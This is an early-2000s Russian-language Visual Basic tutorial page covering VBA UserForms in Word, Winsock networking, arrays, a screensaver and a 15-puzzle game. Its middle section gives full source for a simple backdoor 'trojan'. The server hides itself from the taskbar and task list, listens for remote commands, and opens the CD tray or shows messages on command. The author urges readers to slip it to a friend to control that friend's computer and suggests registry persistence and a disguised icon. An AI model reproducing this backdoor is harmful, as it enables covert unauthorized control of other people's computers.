Часть 1/Часть 2/Часть 3/Часть 4/Часть 5/Часть 6/Часть 7/Часть 8/ Часть 9/Часть 10/Часть 11/Часть 12 /Часть 13/Часть 14 /Часть 15/Часть 16 /Часть 17 /Часть 18
И так что такое VBA? Полностью название языка
расшифровывается так: Visual Basic for Applications.
Он поставляется с пакетом программ Office. Он создан, для того чтобы делать программы пакета Office под определенного пользователя. Т.е. с его помощью можно
делать программы, например для Worda, которые будут легко
выполнять однообразную работу за пользователя. В этой статье мы научимся
работать с так называемыми «Пользовательскими формами» написав маленькую
программу «Конвертор скорости км/ч в м/c».
Эта статья рассчитана на тех, кто
уже умеет программировать (хотя бы чуть-чуть) на Visual Basic. Поэтому я не стану
объяснять, что такое переменные, как их записывать, что такое элементы управления и прочее...
Сразу оговорюсь, всех различий и
сходств я не знаю. Я назову только основные сходства и различия языков. Первое
и самое главное: программы написанные на VBA невозможно компилировать в отдельные EXE файлы для Windows, для их работы необходимы окна
тех программ из пакета Offica
для которых они написаны, например Word, Excel,
PowerPoint, Access. В принципе написания
программного кода эти языки очень
похожи за исключением некоторых случаев, которые не рассматриваются в данном
примере. Интерфейсы двух языков очень похожи, и поэтому кто умеет работать с Visual Basicom
не встретит много трудностей в использовании VBA.
А сейчас, как я и обещал, мы начнем писать 1 программу с использованием User Form. Эта программа будет рассчитана для Word. Чтобы начать писать программу запустим Word (вы должны знать сами как это делать). После того как текстовый редактор откроется, запустим VBA. Есть два варианта запуска: 1 короткий, нажать Alt + F11, 2 длинный (вы его должны знать тоже): «Сервис * Макрос * Редактор Visual Basic». В открывшемся окне нажимаем «Insert * User Form». Должно получиться примерно так:
Все с объяснениями, кажется, я закончил, приступим к созданию самой программы. Меняем свойство Caption формы на: Программа конвертор. На форме располагаем объект Frame с именем Frame 1 и свойством Caption = км/ч в м/с. В этот объект вставляем 2 текстовых поля с именами TextBox1 TextBox2. У TextBox2 свойство Locked = True (чтобы в него нельзя было ввести текст) .Напротив 1 текстового поля ставим метку (Label) со свойством Caption = «км/ч», напротив второго, метку с Caption = «Результат в м/с». Под текстовыми полями ставим кнопку с именем CommandButton1 и Caption = «Вставить результат в документ». У вас должна получится примерно такая форма:
Приступим к созданию текста программы. Совсем забыл сказать: Наша программа будет (как вы уже наверное догадались) переводить км/ч в м/с и вставлять результат в документ Word.
Вычисление результата мы вынесем в отдельную процедуру Scet, которую будем вызывать из события TextBox1_ Change (оно работает при вводе текста в текстовое поле). Результат вычислений будет вставляться в TextBox2. Также, перед решением (в процедуре Scet) мы будем проверять, правильное ли введено значение в TextBox1 (оно должно быть только числовым и не быть меньше нуля), для этого будем использовать функции IsNumeric и Val (их синтаксис и применение смотрите в справке). Если пользователь введет неправильное значение, будет блокироваться кнопка (свойство Enabled = False). В кнопке будем использовать событие Click. При нажатии на нее будем проверять есть ли открытый документ Word, если его нет, то откроем его : If Documents.Count = 0 Then Documents.Add. Дальше мы будем вставлять в документ результаты наших вычислений, да непросто цифры голые вставлять, а целую фразу: Selection.Text = TextBox1.Text & " км/ч = " & TextBox2.Text & " м/с". Теперь надо сделать так, чтобы наша фраза не стирала предыдущий текст (т.е снять с нее выделение). Для этого есть функция Collapse, ее синтаксис: Selection.Collapse Direction:=wdCollapseEnd (подробнее про нее смотрите в справочной системе). Дальше я привожу полный текст программы, надеюсь вы с ней разобрались:
Private Sub CommandButton1_Click() If Documents.Count = 0 Then Documents.Add Selection.Text = TextBox1.Text & " км/ч = " & TextBox2.Text & " м/с" Selection.Collapse Direction:=wdCollapseEnd End Sub Private Sub TextBox1_Change() Scet End Sub Private Sub Scet() Dim rez As Double If IsNumeric(TextBox1.Text) = True And Not Val(TextBox1.Text) = 0 Then rez = ((TextBox1.Text) * 1000) / 60 / 60 TextBox2.Text = rez CommandButton1.Enabled = True Else TextBox2.Text = "" CommandButton1.Enabled = False End If End Sub
Теперь сделаем так, чтобы можно было запускать программу из Word’a. Для удобства переименуем нашу форму в Perevod (свойство Name формы). Потом создадим модуль (Insert*Module) присвоим ему имя Convert (свойство Name модуля) и напишем туда следующий текст:
ConvertCount() Perevod.Show End Sub
Теперь осталось вытащить нашу программу на одну из панелей Office’a. Для этого нажимаем на Другие кнопки (серый треугольник в конце панели инструментов), в длинном списке кнопок нажимаем на «Настройки». Перед вами откроется окно «Настройка», выберите в нем пункт «Команды». В разделе «Категории» находим и кликаем на «Макросы». С право от «Макросов» находится раздел «Команды», в нем выбираем Normal.Convert.ConvertCount и перетаскиваем на одну из приглядевшихся вам панелей инструментов. Эту кнопку можно отредактировать, вместо названия поставить картинка, как у других кнопок.
На этом знакомство с User Form закончено. Если вам понравилась моя статья или возникли какие - нибуть вопросы ко мне шлите их мне на мыло. Также, я буду рад вашим исходникам написанным на VB6.
Этот контрол нужен в основном для связи с удаленным компом, но можно с ним делать и другие штуки. Например, сейчас мы узнаем свой IP адрес. Создай новый проект, нажми на Project/Components/MicrosoftWinsock Control 6.0, и кинь на форму появившийся на панели инструментов Winsock1, и кнопку. Код:
Private Sub Command1_Click()
MsgBox Winsock1.LocalIP
End Sub
Этот контрол нужен для связи двух компов, его очень часто используют для локалок ил для создания троянов(об этом потом :-)). В этом шаге мы сделаем простую программу типо Клиент - Сервер.
Клиент - это программа которая посылает сигналы серверу, а сервер ждет сигналов клиента(ну ты меня понял?). Начнемс...
Для начала сделаем Сервер, он будет ждать сигнала клиента, и когда клиент выйдет на связь, можно будет посылать сигналы от сервера к клиенту, и наоборот. Короче будет что то типо чата.
Войди в VB(Standart Exe), подключи компонент МелкоСофт Winsock Контрол 6.0, на понели инструментов появится объект Winsock, закинь его на форму. На форму кинь еще 2 текстовых поля(1ое - отправка сообщений, 2ое - прием сообщений). Вот код:
Private Sub Form_Load()
Winsock1.LocalPort = 101 ' Указываем порт который будет слушать Сервер
Winsock1.Listen ' Начинаем Слушать порт
Form1.Caption = "Сервер"
End Sub
Private Sub Text1_Change() ' При изменении текста в текстовом поле:
Winsock1.SendData Text1.Text ' Посылаем клиенту текст который введен в текстовое поле
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close ' Если сервер не закрыт, то закрываем его(подробнее смотри ниже)
Winsock1.Accept requestID ' Принимаем запрос
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) ' Если Клиент посылает текст то:
Dim D As String ' Объявляем переменную для работы со строками
Winsock1.GetData D ' Записываем в переменную текст, который был послан Клиентом
Text2.Text = D ' Здесь все понятно, скажу только что нельзя напрямую писать Winsock1.GetData Text1.Text, надо обязательно через переменную
End Sub
Ну усе, сервер готов, теперь надо сделать Клиент. Ой... чуть не забыл... короче вот таблица:
Константа | Описание | ||||||||||||||
sckClosed |
Такое значение стоит при запуске программы или когда порт закрыт
sckOpen
|
Порт открыт
|
sckListening
|
Порт прослушивается
|
sckConnectionPending
|
Ожидание связи
|
sckConnecting
|
Подключение к хосту
|
sckConnected
|
Связь установлена
|
sckClosing
|
Связь закрывается...
|
sckError
|
Ошибка
| |
Троян("Понни") - нужен для удаленнго управления вражеским компом, т.е. подкидываешь его другу, и если он в нете будет, то ты можешь что нибуть с его компом сделать. Трояны делятся на много типов, но мы будем делать самый распространенный(BackDoor).
Начнем.
Для начала сделаем клиент:
На форму кинь 5 кнопок(у 1 Caption = "Присоедениться", у 2ой = "Отсоедениться", у 3ей = "Открыть сидюк", у 4ой = "Послать сообщение", у 5ой = "Закрыть сервер", 1 текстовое поле, 1 метку Caption = "IP", ну и не забудь подключить Winsock(родимый!:-))):
Код:
Private Sub Command1_Click()
Winsock1.RemoteHost = Text1.Text ' Устанавливаем IP вписанный в текстовое поле
Winsock1.RemotePort = 1000 ' Устанавливаем порт
Winsock1.Connect ' Соеденяемся
End Sub
Private Sub Command2_Click()
Winsock1.Close ' Отключаемся
End Sub
Private Sub Command3_Click()
On Error Resume Next ' Если происходит ошибка(нет соединения, а ты нажал на кнопку) то пропускаем следующюю строку
Winsock1.SendData "CD" ' Посылаем серверу команду CD
Bla ' Вызываем функцию Bla
End Sub
Function Bla() ' Эта функция будет обрабатывать ошибки
If Err.Number = 40006 Then MsgBox "Связь с сервером не установлена", 48, "Ты не правильный IP ввел" ' Здесь если происходит ошибка 40006(нет соединения), то выдаем сообщение об этом
End Function
' Дальше объяснять не буду(и так все понятно)
Private Sub Command4_Click()
Dim S As String
S = InputBox("Введи текст", "Смерть ламерам")
On Error Resume Next
Winsock1.SendData S
Bla
End Sub
Private Sub Command5_Click()
On Error Resume Next
Winsock1.SendData "End"
Bla
End Sub
Private Sub Form_Load()
Text1.Text = "127.0.0.1"
End Sub
Ну усе, клиент готов, теперь нужен сервер:
У Формы свойство Visible = False, на нее кинь Winsock1(только не забудь его подключить, ОК?), и таймер. Вот код:
' API функции:
' Открываем сидюк
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As Any, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Dim Status As Integer
' Скрываем программу от CTRL + ALT + DEL
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
' Скрываем программу с Панели задач(это напротив Пуска)
Const WS_EX_APPWINDOW = &H40000
Const GWL_STYLE = (-16)
Const GWL_EXSTYLE = (-20)
Const SW_HIDE = 0
Const SW_NORMAL = 1
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Const SWP_SHOWWINDOW = &H40
Const SWP_HIDEWINDOW = &H80
Dim ret&
Private Sub Form_Load()
' Скрываем программу с Панели задач(это напротив Пуска)
ShowWindow Form1.hwnd, SW_HIDE
ret = GetWindowLong(Form1.hwnd, GWL_EXSTYLE)
SetWindowLong Form1.hwnd, GWL_EXSTYLE, ret Xor WS_EX_APPWINDOW
ShowWindow Form1.hwnd, SW_NORMAL
Timer1.Interval = 1000 ' Включаем таймер
' Скрываем программу от CTRL + ALT + DEL
RegisterServiceProcess GetCurrentProcessId, 1
End Sub
Private Sub Timer1_Timer()
Do ' Цикл
DoEvents ' Это чтоб система не повисла
If Winsock1.State <> sckConnected And Winsock1.State <> sckListening Then ' Если не установлена связь, и порт не прослушивается, то
Winsock1.Close ' Закрываем соединение
Winsock1.LocalPort = 1000 ' Устанавливаем порт
Winsock1.Listen ' Начинаем слушать порт
End If
Loop
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close ' Закрываем соединение(если оно открыто)
Winsock1.Accept requestID ' Принимаем запрос
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) ' Принимаем команды от клиента:
Dim Data As String
Winsock1.GetData Data ' Записываем текст посланный клиентом в переменную
If Data = "CD" Then mciSendString "Set CDAudio Door Open Wait", 0&, 0, 0 ' Если от клиента пришел текст "CD", то открываем сидюк
' Здесь все анологично
If Data <> "End" And Data <> "CD" Then MsgBox Data, 64, ""
If Data = "End" Then End
End Sub
Private Sub Form_Unload(Cancel As Integer)
RegisterServiceProcess GetCurrentProcessId, 0 ' Показываем программу в списке CTRL + ALT + DEL
End Sub
Ну все, теперь сервер дай другу(только в начале его IP узнай(ил имя компа)), скажи ему чтоб в чат зашел(ну там договорись в определенное время), и управляй его компом.
P.S. Сервер немного не доделан, можно сделать чтоб он в реестре прописался, и иконка была как у рисунка.
Исходник
Массив нужен для того чтоб писать меньше кода(но это только в том случае, если переменные имеют много общего), и если его использовать программа будет быстрее работать.
В массиве могут участвовать переменные и объекты, начнем с переменных:
Скажу только что массиве используются(переменные ил объекты) с одинаковыми именами, и почти всегда в цикле.
Для объявления массива надо написать:
Dim Mass(число) As Тип(ну там Long, String...)
Например:
Dim Mass(10) As Long
Теперь сделаем простую программу(Заполнение массива). Код:
Dim Mass(10) As String ' Объявляем массив с индексом 10, для хранения символов
Private Sub Form_Load()
' Заполняем массив:
Mass(0) = "Хей" ' только надо помнить, что самый первый индекс равен 0
Mass(1) = "Бляха"
Mass(2) = "..."
' ...
Mass(10) = "The End(т.е. - упор)"
' И так до упора
End Sub
Вот пример заполнения массива автоматом, программа с помощью оператора Rnd заполняет массив значением 0 ил словом "Bla", в конце выводится сообщение, в котором написанно как массив заполнен. Вот код:
Dim Mass(10) As String ' Объявляем массив с индексом 10, для хранения символов
Dim r As Long ' Переменная для хранения чисел
Dim G As String ' Переменная для хранения символов
Private Sub Form_Load()
Randomize ' Это чтоб в функции Rnd генерировались разные числа
For i = 0 To 10 ' Цикл, будет 10 раз повторяться
Mass(i) = 0 ' Все числа массива приравниваем к 0
r = Rnd * 1 ' Генерируем случайное число(от 0 до 1) и записываем его в переменную R
If r = 0 Then ' Если R=0 то:
Mass(i) = "Bla" ' Записываем в массив(индекс зависит от переменной i) слово "Bla"
End If
G = G & i & " = " + Mass(i) + Chr(13) ' Переменная G = G(это содержимое переменной)&i(это перенная содержит число повторений цикла) + " = " + Mass(i)(значение массива(ил "Bla" ил "0")) + Chr(13)(ну это Enter(т.е. новая строка))
Next i
MsgBox G, 48, "" ' Выводим сообщение с содержанием G(а G содержит значение массива)
End Sub
Исходник
При помощи массивов можно изменять свойства сразу несколких объектов, например, на форму кинь 1 кнопку, копируй ее, и нажми на Вставить(Paste(Ctrl + V)), появится сообщение, и 3 варианта, короче жми на - "Да", и так еще 3 раза.
У тебя на форме 3 кнопки с одинаковыми именами, только Свойство index у них разное(от 0 до 4). Вот это нам и надо, короче сейчас сделаем программу, которая будет при нажатии на кнопку выводить сообщение со значением свойства Left. Код:
Dim k
Private Sub Command1_Click(Index As Integer)
k = Command1(Index).Left
MsgBox k
End Sub
Ну здесь все понятно, сейчас сделаем программу которая будет передвигать кнопки в лево. Опять на форме размести 5 кнопок с одинаковым именем. Код:
Dim k
Private Sub Command1_Click(Index As Integer)
For i = 0 To 4
Command1(i).Left = Command1(i).Left + 300
Next i
End Sub
Ну Здесь тоже все понятно.
Исходник
В VB очень просто делать заставки, вот сейчас мы сделаем простую заставку, которая будет рисовать на форме круги. ОК?
На форму кинь текстовое поле(Visible = False, Text = 0), Timer(Interval = 1), у формы свойство BorderStyle = 0.
Код:
' Объявляем переменные
Dim EX As Long
Dim d As Long
Private Sub Form_KeyPress(KeyAscii As Integer) ' При нажатии на клавишу выходим из программы
Unload Me
End Sub
Private Sub Form_Load()
Randomize ' Генерируем всегда разные числа
' Форму ставим в левый верхний угол экрана
Form1.Left = 0
Form1.Top = 0
' Делаем размеры формы на весь экран
Form1.Height = Screen.Height
Form1.Width = Screen.Width
Form1.DrawWidth = 40 ' Задаем толщину рисуемых на форме объектов(в нашем случае круги, а так, вместо кругов может быть и линия, и точка)
EX = 0
End Sub
' При передвижении мыши выходим из программы
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
EX = EX + 1
If EX >= 9 Then Unload Me
End Sub
Private Sub Timer1_Timer()
Do ' Цикл
DoEvents ' Это чтоб комп не завис
c = RGB(Rnd * 255, Rnd * 255, Rnd * 255) ' RGB - это кодировка цвета, она означает Red Green Blue, это 3 цвета, и при их смешивании получаются разные цвета. Максимальное значение каждого цвета 255(R<=255, G<=255, B<=255). Короче смысл этой стоки это присвоить переменной "c" случайный цвет
Form1.Circle (Fix(Rnd * 19255), Fix(Rnd * 14255)), Rnd * 1000, c ' Рисуем круги(бублики:-))
Text1.Text = Val(Text1.Text) + 1 ' Это не много за тормозит цикл
Loop
End Sub
Ну усе, заставка готова, теперь нажми на File>>Make Project1.exe(Компилировать Project1.exe), и в поле имя файла впиши ScreenSaver.scr, нажимай на OK. Все, теперь файл откомпилировался не как EXEшник, а как SCR. Теперь по откомпилированному файлу кликни правой кнопой мыши, и в меню нажми на Тест. Работает??? Отлично!!! Теперь помести этот файл в папку Windows, войди в свойства: Экран(Панель управления>>Экран), выбери вкладку Заставка, и поменяй заставку на ScreenSaver. Все.
Исходник
Сейчас мы сделаем игру - "Пятнашки", кто в такую не играл, то запоминай правила: автор учебника: Падре
Надо расставить кнопки так, чтоб они были от 1 до 15. Ну короче скачай исходник и потренируйся(ну там поиграй, т.к. в начале надо научиться играть, а потом делать). ОК?
Скажу сразу, что этот шаг создовался по исходнику Павела Чаговского.
Ну, будем считать что ты научился играть, и теперь начнем делать:
На форму кинь кнопку(Command 1, Height = 495, Width = 615, Caption = ""), теперь копируй ее, и 14 раз вставь(короче тебе надо чтоб было 15 кнопок с одним именем и свойствами).
На форму кинь еще 1 кнопку(Name = Command2, Caption = "Новая игра"), 1 Shape(Shape = 0 Rectangle, BackStyle = 1 Opaque). Раставь все кнопки, короче вот что у тебя должно получиться:
Код:
'Объявляем переменные
Dim L As Long, T As Long, K As Long
Private Sub Command1_Click(Index As Integer)
L = Command1(Index).Left ' Записываем в переменную значение свойства Left нажатой кнопки(например, если нажата кнопка с индексом 6, то L = Command1(6).Left, ну ты меня понял??)
T = Command1(Index).Top ' В переменную записываем значение свойства Top нажатой кнопки
' Двигаем влево:
If Shape1.Left - 720 = L And Shape1.Top = T Then ' Если нажатая кнопка находиться напротив Shapa то:
' Меняем кнопку и Shape местами
K = Command1(Index).Left
Command1(Index).Left = Shape1.Left
Shape1.Left = K
End If
'Двигаем вправо
If Shape1.Left + 720 = L And Shape1.Top = T Then
K = Command1(Index).Left
Command1(Index).Left = Shape1.Left
Shape1.Left = K
End If
' Двигаем в вверх:
If Shape1.Top - 600 = T And Shape1.Left = L Then
K = Command1(Index).Top
Command1(Index).Top = Shape1.Top
Shape1.Top = K
End If
' Двигаем вниз
If Shape1.Top + 600 = T And Shape1.Left = L Then
K = Command1(Index).Top
Command1(Index).Top = Shape1.Top
Shape1.Top = K
End If
' Ну, это если все кнопки правильно выстроены(от 1 до 15, и последняя Shape) то поздравляем победителя
' только если на форме кнопки хоть на децл сдвинуты, то этот код работать не будет.
' Символ "_" нужен для переноса строки
If Command1(0).Left = 480 And Command1(1).Left = 1200 And Command1(2).Left = 1920 _
And Command1(3).Left = 2640 And Command1(4).Left = 480 And Command1(5).Left = 1200 _
And Command1(6).Left = 1920 And Command1(7).Left = 2640 And Command1(8).Left = 480 _
And Command1(9).Left = 1200 And Command1(10).Left = 1920 And Command1(11).Left = 2640 _
And Command1(12).Left = 480 And Command1(13).Left = 1200 And Command1(14).Left = 1920 _
_
And Command1(0).Top = 1080 And Command1(1).Top = 1080 And Command1(2).Top = 1080 _
And Command1(3).Top = 1080 And Command1(4).Top = 1680 And Command1(5).Top = 1680 _
And Command1(6).Top = 1680 And Command1(7).Top = 1680 And Command1(8).Top = 2280 _
And Command1(9).Top = 2280 And Command1(10).Top = 2280 And Command1(11).Top = 2280 _
And Command1(12).Top = 2880 And Command1(13).Top = 2880 And Command1(14).Top = 2880 Then
MsgBox "Ты победил"
End If
End Sub
Function Meshalka() ' Создаем Функцию Meshalka
Randomize ' генерируем всегда разные числа
For i = 0 To 900 ' Делаем цикл от 0 до 900(это чтоб хорошо перемешалось)
d = Fix(Rnd * 14) ' В переменную d записываем случайное число от 0 до 14
' Записываем в переменную координаты случайно выбранной кнопки
q = Command1(d).Left
w = Command1(d).Top
' Запиcываем координаты Shape
e = Shape1.Left
r = Shape1.Top
' Ставим кнопку на место Shape
Command1(d).Left = e
Command1(d).Top = r
' Ставим Shape на место кнопки
Shape1.Left = q
Shape1.Top = w
' P.S. и так 900 раз
Next i
End Function
Private Sub Command2_Click()
Meshalka ' При нажатии на кнопку, мешаем
End Sub
Private Sub Form_Load()
' Устанавливаем заголовки для всех кнопок
For i = 0 To 14 ' Устанавливаем надписи на кнопках
Command1(i).Caption = i + 1 ' К индексу кнопки прибавляется 1, т.к. у самой первой кнопки index = 0
Next i
Meshalka ' Мешаем кнопки
End Sub
Исходник
Дата создания: 22 мая 2003 года
Место под Банеры |
![]() |